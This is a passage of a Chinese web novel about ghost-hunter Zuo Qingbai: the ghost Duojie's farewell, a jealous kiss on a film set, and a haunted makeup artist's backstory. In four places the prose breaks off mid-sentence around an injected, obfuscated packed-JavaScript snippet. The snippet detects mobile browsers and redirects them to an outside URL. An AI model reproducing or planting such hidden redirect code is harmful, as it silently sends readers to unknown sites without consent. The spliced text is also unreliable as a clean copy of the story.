多杰听不懂,一直在摇头。 “你没有手机?没事,我有,带队老师的电话你记得吗?”班长是个热心肠。 多杰还是摇头。 所有人都愣住了,盯着多杰看,觉得他古怪。 多杰被这些人的目光看得很不自在,非常局促。 关键时刻郝曼解了围,郝曼说:“没事,让他先跟着咱们班走吧,到了山顶再说。” 于是一行人继续往前走。 郝曼周围的男生换成了多杰一个人,不知为何,虽然今天是第一次见到多杰,但郝曼觉得多杰很亲近。 郝曼从她的包包里掏出零食分给多杰,多杰没见过这些东西,干巴巴地拿着,不知道怎么吃。 “你不会吃?”郝曼笑了,“你爸妈是不是从来不让你吃零食,管这么严啊?” 多杰听不懂郝曼说的话,但他看到郝曼笑得阳光灿烂,猜到她应该是在拿自己开玩笑。 多杰也笑了起来。 郝曼教多杰撕开包装袋,吃里面的零食。 零食很美味,但多杰吃不惯,多杰还是更喜欢家乡香味十足的牛羊肉,那才够劲。 紫荆山很高,一时爬不到顶,有同学喊累,刚好路过一个小亭子,老师便让大家在亭子里休息一会。 休息的时候,郝曼拿出手机玩游戏。 “你要玩吗?”郝曼把手机递给多杰。 多杰小心翼翼地点了一下手机屏幕,屏幕上弹出游戏的开场动画,多杰吓得赶紧收回手。 “哈哈哈哈。”郝曼大笑起来,“你爸妈连游戏都不让你玩吗?来,我教你。” 郝曼大大方方地教多杰玩游戏,一边教还一边哼歌。 多杰看着郝曼的侧颜出神。多杰心想,这一世的拉姆能说话,能唱歌,很爱笑,阳光大方,周围人也都很爱她,她过得很好,自己就值得了。 值得了。多杰在心里反复地说。 就在这时,班长忽然来到了郝曼身边,插进两人中间。 “郝曼,你在玩这个游戏啊?真巧,我也在玩,咱俩比比?”班长是个笑起来有酒窝的男生。 “比就比,谁怕谁。”郝曼不服气地说。 多杰被班长挤到一旁,他虽然听不懂班长的话,但看班长的眼神,他大概能猜到些什么。 多杰有些落寞地垂下眼,心里阵阵发酸。 休息好了,大家继续往山上走。剩下的这一段路班长屡屡插到郝曼跟多杰中间,多杰心里不高兴,但他又理智地劝自己:没有什么可不高兴的,自己只是一只鬼,来看一眼拉姆过得怎么样就够了,其他的,别多想。 各个班的队伍陆陆续续到达了山顶,山顶全是穿校服的学生,一时间有些混乱。 多杰一到山顶就趁着人多跑了。 “多杰,你快去找你的班级在哪吧!”郝曼对多杰说,但她一转身,却发现多杰已经不见了。 郝曼突然心里一阵发慌。她也不知道她在慌什么,但她就是觉得慌,好像一个自己可以依赖的人消失了一样。 这种感觉很奇怪,因为对郝曼而言,多杰只是个刚认识几个小时的人,哪里谈得上“可以依赖”? 接着,老师组织学生们分组搭帐篷,郝曼和班长在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187924|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个小组,班长忙前忙后,基本没让郝曼干活,而郝曼心不在焉,到处在找多杰的身影。 晚上,学生们围在帐篷周围拉歌,郝曼没找到多杰,心情有些低落。 山顶有景区修建的公共厕所,郝曼借上厕所的名义离开大部队,但她没去上厕所,而是悄悄跑到没人的地方,小声地喊:“多杰,多杰。” 大树后,多杰的身影在黑暗之中出现了。 郝曼开心地笑道:“我就知道。我猜你性格内向,不会喜欢拉歌那种活动,肯定找个没人的地方躲起来了。” 多杰听不懂郝曼说了什么,他只觉得拉姆的声音真好听。 郝曼道:“你就不能跟我说句话吗?一直都是我在说。” 多杰真的很想跟郝曼对话,可他真的听不懂。 这时,多杰抬起手腕,擦了擦手腕上手表的表盘,这是左轻白戴在他手上的,左轻白说,到了九点他就会灰飞烟灭。 左轻白教了他怎么看表,所以多杰知道离9点已经不远了。 多杰鼓起勇气,向郝曼伸出一只手,用藏语对郝曼说:“你能牵一下我的手吗,拉姆?” 郝曼听不懂藏语,但通过多杰的动作,郝曼判断他想跟自己牵手。 郝曼脸一红,神差鬼使地伸出了手,握住了多杰的手。她不知道自己为什么要伸手,她只是觉得这个动作她曾经跟多杰做过。 多杰哭了。 郝曼一愣,她刚想问多杰为什么哭,然而就在这时,班长带着几个男生急匆匆地来找郝曼。 见有人来了,多杰“嗖”的一下躲到树后面去,消失得无影无踪。 “郝曼,你怎么一个人跑到这种没人的地方?太危险了!”班长一脸着急。 “对不起,让大家担心了。”郝曼说,“是老师派你们来找我的吗?” 班长摇摇头,接着他向另外几个男生使了使眼色,那几个男生纷纷从背包里掏出大束的玫瑰花,玫瑰花上点缀着彩灯,彩灯一亮起,美呆了。 男生们簇拥着班长和郝曼,班长也从自己的背包里拿出一大束花,向郝曼表白。 其中一个男生起哄道:“他为了把这些花带上山,不被老师发现,花了好大心思呢!看在他这么有心的份上,你就答应他吧!” 树后的多杰看到了这一幕,他虽然听不懂汉语,但看这场景,也能猜到是在干什么。 多杰的心揪着疼,他努力安慰自己:没事,这说明拉姆这一世有很多人爱。 9点马上就要到了,多杰来不及落寞,他离开树后,钻出灌木丛,跳到一旁的小路上去,快速离开。 “多杰!”忽然,多杰听到了郝曼的声音,原来郝曼发现树后面的多杰不见了,在叫他呢。 班长在跟郝曼表白,但郝曼却在找多杰。 “多杰!”郝曼找不到他了。 多杰没回头,而是越走越快。 9点到了。 左轻白给多杰的那块手表被她下了咒术,9点一到,咒术生效。多杰突然感到手腕一阵刺痛,他低头一看,只见从戴着手表的地方开始燃起了蓝色的火焰,火焰迅速蔓延,蔓延至多杰的整个身体,多杰化成了一团蓝色鬼火,鬼火在山间小路上孤独地燃烧、燃烧,最后熄灭。 另一边,左轻白和路回看完电影,路回开车送左轻白回到剧组。 下车时,左轻白抬起头,她看到一束细小的蓝色流光升到空中,在夜空中化成一颗星星。 左轻白知道,多杰已经灰飞烟灭了。 其实左轻白一直都懂,有些鬼也很可怜,它们害人是事出有因,但鬼就是鬼,捉鬼师灭鬼是世间规矩,既然当了捉鬼师,那就只能做个无情的判官。 55. 诡异的歌谣 左轻白回到剧组继续拍摄后,剧组流传出了一些风言风语,有八卦狗仔拍到了左轻白和兰殊尔一起吃饭,捕风捉影地传他俩在谈恋爱。 兰殊尔这人性子冷,他不爱跟剧组的其他人来往,至于他为什么愿意跟左轻白来往,那是因为左轻白和他一样都是捉鬼师,都是从异世界来的,这让兰殊尔在这陌生的世界有了点安慰。 至于左轻白为什么跟兰殊尔一起吃饭,左轻白这人从不抱团,她在剧组坚持不结小圈子原则,别的小圈子一起玩,左轻白不凑上去,所以她经常一个人,这时候兰殊尔愿意跟她一起吃饭,她何乐而不为呢,况且两个人都是捉鬼师,交流一下捉鬼术也挺好。 左轻白和兰殊尔的绯闻让路回挠心抓肺。什么情况?说好的两人不合拍呢?不合拍还能天天一起吃饭? 路回急得在他巨大的、圆形的总裁办公室里绕圈走,每天都在上火。 路回连忙找了个时间去探班。 好巧不巧,路回探班的时候正赶上左轻白和兰殊尔拍亲密戏,上床的那种。 左轻白第一次拍亲密戏,她倒是大大方方,一副很新奇的样子,不停地问导演“要这样吗”、“是这样吗”,反倒是兰殊尔羞得全身不自在,迟迟不敢上床。 兰殊尔跟左轻白一样,魂穿过来的,他那副身体的原主或许拍过亲密戏,但兰殊尔本人没拍过。 “没有暴露!不用脱不用脱!主要是气氛要到位!兰老师,你怎么还没上去……兰老师,你的耳朵!耳朵不要那么红!”导演拿着个喇叭在喊。 比兰殊尔更不自在的是探班的路回,路回心里醋缸子都打翻几缸了。 虽然是亲密戏,但毕竟是电视剧,尺度有限制,这场戏不用脱衣服,但要在床上接吻,导演对镜头有要求,不允许借位。 天知道这场戏拍得有多么艰难,主要问题都出在兰殊尔身上,兰殊尔不停地跟剧组成员说对不起。 兰殊尔害羞,怎么办呢?导演想了想,把跟组编剧叫了过来,说:“编剧老师,剧本能不能改一下?”导演一指左轻白,说:“让左老师主动。” 这么一改,拍摄就顺利多了。拍完之后左轻白还哈哈大笑,指着兰殊尔嘲笑,结果一转头就看到路回的一张大黑脸。 下面没左轻白的戏,左轻白可以休息一会。左轻白拉着路回去化妆间,化妆间里就他们两个人,左轻白问:“你怎么又来了?” 路回气得胸口上下起伏,他看着没心没肺的左轻白,越看越气,突然,路回双手抓住左轻白的双肩,狠狠地吻上了左轻白的唇。 左轻白和路回不是第一次接吻,路回是助道者,前几次左轻白需要帮忙时路回吻过她,但这次跟前几次不一样,这次路回吻得非常凶,搂着左轻白的手也愈发收紧。 路回把化妆间的门一关,一锁,把左轻白抵在门上继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203018|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续吻。左轻白被他亲得晕乎乎,一时间竟忘了反抗。 不知过了多久,路回觉得吻回本了,才把左轻白松开。 左轻白有些迷惑地看着路回。 “你这么看我做什么?”路回问。 “你这么亲我做什么?这里又没鬼,我不要你的帮助。”左轻白问。 然而就在这时,突然一阵诡异的歌谣传入左轻白耳中。 “白纽花,绿柳瓜,竹船底下浪花花……” “纸扇子,木凳子,地里结了南瓜子……” 这些歌谣不是人唱的,而是鬼唱的,叫鬼音。 刚才与路回接吻,左轻白的法力在一瞬之间飞速上涨,导致这段鬼音她听得非常清楚,清楚到像是有人拿着喇叭在她耳膜边喊一样。 声音实在太大了,搞得左轻白脑子“嗡嗡”地响,左轻白赶紧捂住耳朵,试图阻隔声音,但她没成功,她听到的鬼音反而越来越大声。 路回看到左轻白突然捂紧耳朵,满脸痛苦,看起来非常难受,连忙担心地问:“你怎么了?” “太吵了……声音太大了……”左轻白痛苦地说。 “声音?哪有声音?”路回什么都听不到,但他看到左轻白难受也跟着难受。 鬼音突然发出一声尖锐的鸣叫,左轻白的耳膜仿佛被穿透了,左轻白痛苦地发出“啊”的一声,她满头大汗,虚弱地栽倒在路回怀里。 56. 她一直在笑 自遇到左轻白以来,这是路回第一次见到左轻白这么虚弱的样子。左轻白蜷在路回怀里,仿佛没了路回的支撑,她就要碎了一样。 路回一阵心软,他小心翼翼地把左轻白扶到椅子上坐下。 幸好左轻白没晕太久,没过几分钟她就转醒过来,但是很没精神。 “你怎么样?”路回赶紧问。 “水。”左轻白小声地说了一声。 路回连忙去给左轻白倒水。 “要不要去医院?”路回问。 “不用去,我没事,我只是听到鬼音了,声音太大,震得我耳膜疼,休息一会就好。”左轻白捧着路回递给来的水杯说。 左轻白一副无精打采的样子,蔫乎乎地说了声:“头疼。” 路回伸出手,帮左轻白揉太阳穴。 路少爷从小到大从不伺候人,这次却是心甘情愿。左轻白难得一见地依赖了他一回,路回宁愿这种依赖持续的时间长一点,再长一点。 被人依赖的感觉很好,尤其是被自己喜欢的人。 “好点了吗?”路回问。 左轻白点点头。 左轻白平日里总是咋咋唬唬,难得见她这么安静。左轻白静静地低着头,路回看着她,只觉得心软得像是要化成一滩水。 路回忽然想再亲亲左轻白。 于是路回悄悄低下头,凑近左轻白的脸。 然而还没等路回亲上去,一阵急促的敲门声响起,伴随着兰殊尔的声音:“左轻白,你在里面吗?” 路回连忙回过神来,左轻白也回过神来。化妆间的门刚才被路回锁了,左轻白想去开门,却被路回拦住,路回说:“我去开。” 路回开了门,兰殊尔像没看见路回似的直奔左轻白,路回很是不爽。 兰殊尔一脸严肃地对左轻白说:“鬼音,你听见了吗?” 左轻白点点头,“听见了。” “剧组有鬼,我们得赶紧行动。”兰殊尔的脸严肃而冰冷。 “喂。”路回走了过来,说:“催什么?没看到人家不舒服吗?” 兰殊尔这才注意到路回。 左轻白介绍道:“我老板,同时也是我的助道者。” 兰殊尔微微惊讶,打量路回道:“没想到这个世界不仅有神通鬼,还有助道者,这两者都是几百年难得一见的。” 左轻白笑道:“还有更有意思的,那个神通鬼在变成鬼之前,是个被鬼养大的助道者。总之,这里很有意思就是了。” 左轻白问兰殊尔:“你闻到鬼气了吗?” 兰殊尔说:“没有。只听见鬼音,没有鬼气。” 左轻白道:“鬼音是鬼发出的吟唱声,有鬼在吟唱,说明鬼就在附近;有鬼在附近,那就应该能闻到鬼气才对。但我俩都没有闻到鬼气,为什么?除非它和金绮月一样,是只神通鬼?” 兰殊尔摇摇头,“同一个时期内出现两只神通鬼的可能性很小。这事蹊跷。” 同一个时期很少会有两只神通鬼,就算有,这两只神通鬼得先打一架,只有一只能活下来,这跟一山不容二虎是一个道理。 左轻白和兰殊尔你一言我一语地讨论刚才鬼音的事,一旁的路回一句话都插不进去。 路回忽然感到有些落寞,他心想是不是兰殊尔跟左轻白才是最配的,他俩都是捉鬼师,有很多共同话题,哪像自己和左轻白,有时候是真的找不到话题来聊。 路回心里很难受,在某一瞬间他竟然感受到了自卑。这是很没道理的,路回出身富贵还长得好看,从小众星捧月,只因兰殊尔跟左轻白有共同话题而自己跟左轻白没有就生发出自卑感?这根本就是毫无道理的事情。 但看起来再没道理的事情都有存在的可能。路回喜欢左轻白,真心喜欢一个人的时候,总会觉得自己没那么好。 这时,兰殊尔抓住左轻白的一条胳膊,说:“可以确定的是剧组混进了鬼,我担心它害人,走,去抓鬼。” “喂。”路回不满地上前阻止,“要去你自己去,她需要休息。” 兰殊尔也注意到左轻白脸色不好,他问:“怎么了?” “刚才鬼音传来时正逢我法力暴涨,听觉瞬间内变得特别灵敏,导致鬼音像在我耳朵里打鼓一样,太大声了,耳膜差点没爆。”左轻白简单地解释了一下。 兰殊尔一愣,突然古怪地看了路回一眼,不知想到了什么。兰殊尔说:“这样啊……那你俩在这好好休息,我出去看看什么情况。” 兰殊尔走后,路回有些不爽地问左轻白:“他也是捉鬼师,难道以后我除了帮你还要帮他吗?帮你可以,帮他我不愿。” 左轻白笑道:“想什么呢?助道者和捉鬼师的规矩是异性相吸,男的帮女的,女的帮男的,你和他都是男的,你帮不了他。” 左轻白现在依旧有些虚弱,虚弱时的她看起来比平时温柔。 路回乐了,“那就好。” 路回又一想,试探地问左轻白:“你说,男的帮女的,女的帮男的这种搭配方式,是不是在以前助道者和捉鬼师一般都是……夫妻?” 左轻白认真地想了想,说:“我还真不知道以前是怎么样的。” 左轻白挣扎着想从椅子上站起来,路回忙道:“我扶你。” “我还没虚弱到连站起来都要依赖你的地步。”左轻白笑了。 左轻白走到饮水机前,给自己接了一杯水,她很渴。 路回用左轻白听不见的音量轻声说:“我倒是希望你多依赖我一点。” 这时候,门口传来化妆师玲姐和助手小菲的声音:“路总?您怎么来了?” 玲姐不是剧组的化妆师,而是左轻白公司的化妆师,她和她的助手小菲是公司配备给左轻白的化妆团队。 虽然剧组有自己的化妆团队,但艺人带自己的化妆团队进组的也不在少数。左轻白一开始跟路回说什么都不用给她配,助理不用配,化妆团队也不用配,直到有一次左轻白被明显让妆,让妆的意思是为了不让演员A抢了演员B的风头就把演员A的妆造做丑一点,路回才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212450|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决定让公司的化妆团队跟着左轻白进组。 “我来探班。”路回向玲姐点了点头,优雅得体。 “呀,轻白老师,你怎么流了这么多汗?妆全花了。”玲姐叫了一声,说。 刚才左轻白晕倒时流了一头的冷汗,妆都花了。 “轻白老师坐下吧,我给你补补妆。”玲姐说。 玲姐让助手把化妆包打开,给她递工具,她娴熟地给左轻白补起了妆。玲姐全名叫龙玲,是个经验丰富的艺人化妆师,公司花高薪挖过来的。 再后来,去查鬼音的兰殊尔什么都没查到,无功而返;路回探班结束,回去了。 晚上,结束拍摄时已经很晚了,龙玲和小菲随着剧组回到酒店,她俩住一间双人房。 龙玲在卫生间洗漱,刚才她翻了一下手提包,把里面的东西都掏出来,放在桌子上,小菲一眼就看到里面有一把白色的折扇,扇骨似乎是象牙做的,很白,很润。 小菲好奇地拿起了那把白色折扇,打开它,发现扇面是空白的,什么也没有。 折扇的扇面一般会画上画,或者写上书法,很少有空白一片什么都没有的。这时龙玲洗漱完毕,从卫生间出来,小菲便笑着问她:“玲姐,你这扇子扇面上怎么什么也没有啊?” 没想到龙玲看到小菲拿着自己的扇子,当即脸色大变,大喝一声:“放下!” 小菲吓了一跳,手一松,扇子掉在了地上,龙玲连忙走过去捡起来,把折扇合上,收好。 小菲见龙玲黑着一张脸,心想玲姐会不会觉得自己擅自碰她的东西不礼貌,连忙道歉道:“对不起,玲姐。” 龙玲深吸一口气,没跟小菲计较,说道:“没事,洗洗睡吧,明天还要早起。” 小菲赶紧去卫生间洗漱。 小菲在卫生间的盥洗盆前刷牙,盥洗盆上有面镜子。小菲刷牙有个习惯,喜欢低着头刷,刷完了才抬起头来。 小菲在低头刷牙时感到背后一阵凉气,但她没在意。 盥洗盆上的镜子里出现了一个长发女人,她就站在小菲身后,长发女人面如死灰,两只眼是两个黑窟窿,但嘴巴却一直在笑,仿佛天生微笑唇似的。 长发女人无声地笑着,幽幽地注视着低头刷牙的小菲。 小菲刷完牙抬起头来时,不小心看了镜子一眼,她看见了镜子中那个一直在笑的长发女人,当即吓出一声鬼叫。 “啊!” 小菲吓得魂都散了一半,仓皇地逃出卫生间,一边逃一边喊:“有鬼!有鬼!玲姐,镜子里有鬼!” 龙玲正坐在床上护肤,见小菲被吓成那样,莫名其妙地走进卫生间,里面什么都没有,镜子里也什么都没有。 “哪有鬼?”龙玲问。 “有!她就在镜子里,她一直在笑!” “你看错了吧?别自己吓自己。” 小菲坐在床上发抖,龙玲哄了小菲半天,小菲才肯睡觉。 龙玲熄了灯,也上床睡觉,睡觉前她认真把她那把空白折扇收好。 57. 醒不过来似的噩梦 小菲渐渐进入了梦乡。 小菲睡眠质量很好,很少做梦,但今晚她却做了个醒不过来似的噩梦。 小菲梦到自己身在一栋空荡荡的教学楼里,这里有一间间教室,有课桌,有黑板,但是没有人。风从窗外吹进教室,书被吹开,发出“沙沙”声。风声衬得这个地方更安静。 走廊的墙壁上贴有蓝色的牌子,牌子显示这里是6楼。 小菲站在走廊上,喊了一声:“有人吗?” 没有人回答她。 小菲靠近教室窗户,从窗户朝里看,突然,窗户下面幽幽地伸起来一个黑乎乎的头,与小菲隔着窗户对望。 接着,小菲听到了两声女性的轻笑声。 小菲从来没见过这种玩意,吓得大叫,边叫边往楼梯间跑。 一个黑乎乎的影子从教室后门流了出来,像滩黏糊糊的水,追着小菲流过去,边流边发出轻笑声。 这里是6楼,不算高,小菲疯了一样的往下跑,她跑了很久很久,按理说早就应该跑出教学楼了才对,可小菲脚下的楼梯像没有尽头似的,无论她怎么跑,始终跑不到底。 小菲跑累了,实在跑不动了,那黑影追了上来,抓住小菲的脚。黑影的“手”黏糊糊的,触觉像章鱼的触角,小菲慌张地大叫:“啊!啊!” 小菲不光在梦里叫了,现实中她也叫出声了。 “啊!啊!”酒店的双人间里,小菲边睡边叫。 龙玲急忙起床开了灯,轻拍小菲的脸,说:“小菲?你怎么了?醒一醒!” 但无论龙玲怎么拍小菲的脸都叫不醒小菲,小菲像被困在了梦境里面。 这时,一个阴森的女声在龙玲身后响起:“你叫不醒她的。” 龙玲吓得一个激灵,她连忙转头,只见一个穿着白衣,面色惨白,披头散发的女鬼站在自己身后。 这女鬼是小菲在洗手间看到的那个。 女鬼的眼睛贼大,像被狠狠地撕开过一样,里面布满红血丝;她披着的皮快要烂掉了,脖颈侧边被头发遮住的地方破了好大一个洞,里面冒着尸油。 龙玲却不躲不闪,她深深地看着对面的女鬼,双方认识。 龙玲坐在小菲的床上,女鬼一步一步走向她。女鬼悠悠地伸出一只手,怜爱地抚上龙玲的脸。突然,女鬼伸出去的手变成了巴掌,怜爱变成了愤怒,女鬼“啪”的一下,用力扇了龙玲一巴掌。 龙玲挨了打,却一声不吭。 女鬼指着沉睡中的小菲,质问龙玲:“她为什么跟你睡一屋?” 龙玲回答:“工作需要,是公司安排我跟她住双人间。” “我不管是谁安排的,你想办法搬出去。我不允许你跟别人睡同一屋。”女鬼弯下腰,阴森森地看着龙玲,用命令的口吻说道:“你只能跟我一起睡,只能是我们两个。” 龙玲不说话,女鬼便冷笑道:“怎么?你委屈?这不就是以前你对我的要求吗?” 女鬼提到“以前”两个字时,龙玲的身体肉眼可见地抖了一下。 龙玲“哇”的一声哭了出来,满脸愧疚地说:“是我对不起你!是我害了你!” 女鬼只是冷笑。 忽然响起敲门声,女鬼看了门口一眼,悄无声息地回到了龙玲那把空白折扇中,原来女鬼一直藏在扇子里。 “玲姐,小菲,你们在里面吗?”房间外面传来左轻白的声音。 龙玲去给左轻白开门。 “轻白老师,这么晚了,你怎么……” 龙玲还没说完,左轻白就推开她闯进了房间,在房间里四处张望。 左轻白眼睛眯了眯。她闻到了满房间的鬼气,说明这里刚刚有鬼来过;但房间里只有鬼气却找不到鬼,说明鬼来过但又走了。 那把空白折扇紧紧闭着,这件宝物可以屏蔽鬼气,女鬼躲在里面,左轻白找不到。 左轻白的目光落在沉睡的小菲身上,只见小菲睡着时的表情很狰狞,嘴里还不停地说着梦话:“鬼,鬼……” “她怎么了?”左轻白问。 “好像是做噩梦了。”龙玲说。 左轻白判断小菲是被鬼施法魇住了,陷在噩梦里出不来。于是左轻白伸出手,在小菲的额头上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283464|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有节奏地轻拍了九下,嘴里说道:“噩梦散,好梦来。” 左轻白说完,小菲的梦境突然大变样,抓着她脚的那个恐怖黑影不见了,可怕的教学楼也不见了,小菲置身于一片草丛中,微风拂面,好不舒服。 脱离噩梦后小菲眉头舒展,舒舒服服地睡了过去。 “好了,她没事了。”左轻白说。 左轻白走到龙玲跟前,发现龙玲身上的鬼气最浓郁,说明刚才鬼来的时候碰过她。 左轻白问龙玲:“刚才有没有什么可怕的事情发生?” 龙玲立即摇头,“没有啊,什么也没有。” 没有?左轻白眉头微皱,并不相信,这里的鬼气浓得都冲天了,自己在楼上都能闻到,难道鬼来你俩房间只是呆了一会就走了? 左轻白从口袋里拿出两张符,递给龙玲,说:“这两张符是我去道观里求来的,把它放在床头可以保平安,给玲姐你一张,也给小菲一张。” “去道观里求的”是左轻白胡诌的,这两张符是左轻白自己画的驱鬼符。 龙玲却连连摆手,“不用,不用。” 左轻白觉得龙玲有事瞒着自己。 从龙玲和小菲的房间离开后,在酒店走廊上,左轻白遇见了兰殊尔。 兰殊尔背靠墙壁在等左轻白,见左轻白来了,他站直起来,问:“怎么样?” “你这么着急,刚才怎么不过去看看?”左轻白问。 “那是两个女生的房间,这么晚了,我过去不方便。”兰殊尔还挺绅士。 “房间里全是鬼气,但我没找到鬼。”左轻白说。 “鬼来过,留下了鬼气,但是又跑了?”兰殊尔做出假设。 “可能是这样,也可能另有隐情。我总觉得龙玲有什么瞒着我。”左轻白皱眉道。 小菲和龙玲的房间。 女鬼没再出来闹事,小菲也没再做噩梦,龙玲这才熄了灯,睡下了。 梦里,龙玲回到了很多年前,她还上小学的时候。 龙玲认识刚才那个女鬼,龙玲和女鬼的故事要从小学时说起。 58. 需要保护的婴儿 女鬼生前的名字叫章晓宛,是龙玲的发小。 两人自小认识,她们两家是邻居,两人小学在同一个学校,同一个班。龙玲比章晓宛大一天,章晓宛叫龙玲姐姐。 章晓宛内向胆小,龙玲外向大方,内向的孩子在学校经常被欺负,章晓宛也一样,她姓章,同学给她取了个外号叫“章鱼妹”,章晓宛“哇”的一声哭了起来,去找她的龙玲姐姐帮忙。龙玲小时候是个小辣椒,她追着那些给章晓宛取外号的同学打,打到他们不敢再叫章晓宛的外号为止。 龙玲会带着章晓宛一起跳皮筋,她们一边念歌谣一边跳: “白纽花,绿柳瓜,竹船底下浪花花……” “纸扇子,木凳子,地里结了南瓜子……” 如果章晓宛一个人跟别人玩皮筋,她这种软糯的性格,别人耍赖了她也不敢吭声,但龙玲在一旁就一样了,谁敢跟章晓宛耍赖,龙玲能插着腰骂对方半天,龙玲让章晓宛很有安全感。 章晓宛很依赖她的龙玲姐姐,这种依赖让龙玲很受用,也让龙玲对章晓宛生发出了保护欲和责任感,她觉得章晓宛没了自己不行。 龙玲爱管章晓宛,她对章晓宛说: “我不在,你不要独自去跟别人玩,会被欺负……” “秋游的时候你一定要抓紧我的衣角,你路痴,我怕你走丢……” “你不要乱跟别人交朋友,我怕你遇到坏人……” “你不要吃冰淇淋,你身体不好,会肚子疼……” …… 两人深厚的友谊从小学一直延续到了初中,她俩幸运地上了同一所初中,同一个班。如果说小学还有一群小朋友一起玩,那么到了初中,就只剩下她们两个人了,她们俩成双结对,一起上学、放学、上厕所,跟连体婴似的。 龙玲和以前一样爱管章晓宛,章晓宛也和以前一样很听龙玲的话。两人的相处模式依然跟小学时一模一样。 这个时期两人的友谊显现出了非常明显的排他性,尤其是龙玲。龙玲不允许第三者介入她俩中间,曾经有个女生与章晓宛走得近,气得龙玲跟章晓宛冷战了一个星期;有次老师把两人的座位调开,龙玲伤心得哭了一下午。 这种感情说是友谊,但却有点向爱情的方向靠了,或许女孩子的友谊本来就跟爱情相似。 时光飞逝,很快到了高中,高中时期的两人不仅在同一个学校、同一个班,还在同一个宿舍。 住同一个宿舍的两人非常亲密,她们会买一样的睡衣、一样的袜子、一样的拖鞋,比双胞胎还双胞胎。龙玲经常不睡自己的床,而是爬到章晓宛的床上去睡,宿舍的其他人笑她俩像老公老婆,龙玲笑道:“是老夫老妻!” 室友揶揄道:“喂,龙玲,你从章晓宛床上下来,换我上去跟她睡行不行?” “我呸!”龙玲急道,“小宛是我老婆,只跟我一起睡。” 虽然两人都是女孩子,但开玩笑的时候龙玲经常说章晓宛是她老婆。 章晓宛在龙玲身后“哧哧”地笑,龙玲回过身去对她说:“你只能跟我一起睡,只能是我们两个。” 两人从小好到大的关系令人欣羡。 高中时期的女生都爱美,龙玲偷偷学上了化妆,她老拿章晓宛来练手,别说,龙玲在这方面有点天赋,化得很不错。 一次,学校举办十佳歌手大赛,章晓宛怯生生地对龙玲说:“十佳歌手大赛,我报名了,上台的时候你能不能帮我化妆?” 龙玲瞪大了眼睛说:“你?报名十佳歌手?你唱歌是好听,但比赛是要上台的!我太了解你了,你胆小,连上台说话都不敢,还上台唱歌?算了,别去了。” 龙玲自认为最了解章晓宛,她觉得以章晓宛的胆量,上了台也唱不出来。 章晓宛被龙玲说得心里很不是滋味,小声道:“我想锻炼一下自己。” 龙玲不高兴地说:“你报名就算了,但你报名之前怎么没跟我商量?” 从小到大章晓宛无论做什么都会先跟龙玲商量,她很依赖龙玲,龙玲也很享受这种被依赖和被需要的感觉,然而这次报名十佳歌手,章晓宛却没跟龙玲商量,这让龙玲一下子觉得自己好像不被需要了,又或者说章晓宛不在她的掌控之中了。 章晓宛回答道:“我觉得这是我自己的事,就没跟你说。” “可以前你什么事都会跟我说。” “以前是以前,现在都长大了就没必要什么都说了啊。” 两人不欢而散,更要命的是当天晚上章晓宛跟另一个女生去了食堂,章晓宛说那个女生也报名了十佳歌手,她俩边吃饭边讨论比赛的事情。 这件事让龙玲暴跳如雷。龙玲不接受章晓宛跟别人吃饭,她打心底里害怕章晓宛离开她。 两人大吵了一架,章晓宛不满龙玲什么都管着她,龙玲说以前一直都是这样有什么问题? 周五晚上住校生回家,本来龙玲和章晓宛都是一起回家的,但这次章晓宛要准备十佳歌手大赛所以留在声乐教室练歌,龙玲还在生章晓宛的气所以没有等她。 龙玲走出校门,学校旁边有一个儿童公园,路过儿童公园时,龙玲看到一群小朋友在那玩跳皮筋,她们边跳边念歌谣: “白纽花,绿柳瓜,竹船底下浪花花……” “纸扇子,木凳子,地里结了南瓜子……” 龙玲看得发呆。 龙玲想起小时候自己带着章晓宛跳皮筋的场景,自己插着腰,警告所有人不许作弊,不许欺负章晓宛,章晓宛怯生生地躲在自己身后,用崇拜的眼神看着自己。 小时候的感情难道就不可以不变吗? 